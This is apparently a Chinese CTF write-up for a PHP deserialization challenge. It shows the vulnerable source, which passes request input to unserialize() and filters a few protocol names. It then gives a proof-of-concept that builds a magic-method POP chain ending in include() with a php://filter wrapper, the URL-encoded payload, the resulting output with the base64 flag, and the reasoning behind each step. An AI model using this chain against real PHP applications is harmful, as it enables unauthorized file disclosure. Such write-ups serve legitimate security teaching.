源码

<?php
//flag is in flag.php
error_reporting(0);
class Modifier
{
protected $var;
public function append($value)
{
printf("%s\n", __METHOD__);
include($value);
}
public function __invoke()
{
printf("%s\n", __METHOD__);
$this->append($this->var);
}
}

class Show
{
public $source;
public $str;
public function __construct($file = 'index.php')
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "\n";
}
public function __toString()
{
printf("%s\n", __METHOD__);
return $this->str->source;
}

public function __wakeup()
{
printf("%s\n", __METHOD__);
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "系统检测到可疑字段,启动了查杀程序\n";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
printf("%s\n", __METHOD__);
$function = $this->p;
return $function();
}
}

if (isset($_REQUEST['Sonder'])) {
unserialize($_REQUEST['Sonder']);
} else {
echo "系统检测发现该处漏洞,进行攻击测试\n";
}

POC

<?php
class Modifier
{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show
{
public $source;
public $str;

public function __construct($file = 'index.php')
{
$this->source = $file;
}

}

class Test
{
public $p;

public function __construct()
{
$this->p = new Modifier();
}
}
$show = new Show();
$show->str = new Test();
//echo serialize(new Show($show));
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;
echo urlencode(serialize(new Show($show)));
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

传入payload,得到

Show::__wakeup
Show::__wakeup
Show::__toString
Test::__get
Modifier::__invoke
Modifier::append
U29uZGVyezEzNWQ3OS1iYTYzMWY2NTIwMGE1Zi04NzAyMjUyMzI4NzEtN2FmMWU3NDB9Cg==
  1. unserialize__wakeup()__destruct()

  2. show类中有 __wakeup()方法,其中有$this->source,当$sourceShow对象时会先执行__construct(),当执行__toString() 方法,其中$source$str都是可控的

  3. __toString()方法指向$this->str->source,会发现没有source方法,但是在Test类中找到了__get()方法,其中$p可控,并且return $function(),会触发__invoke()方法

  4. Modifier类中找到__invoke()方法,指向append方法,会执行include()就可以用php伪协议读文件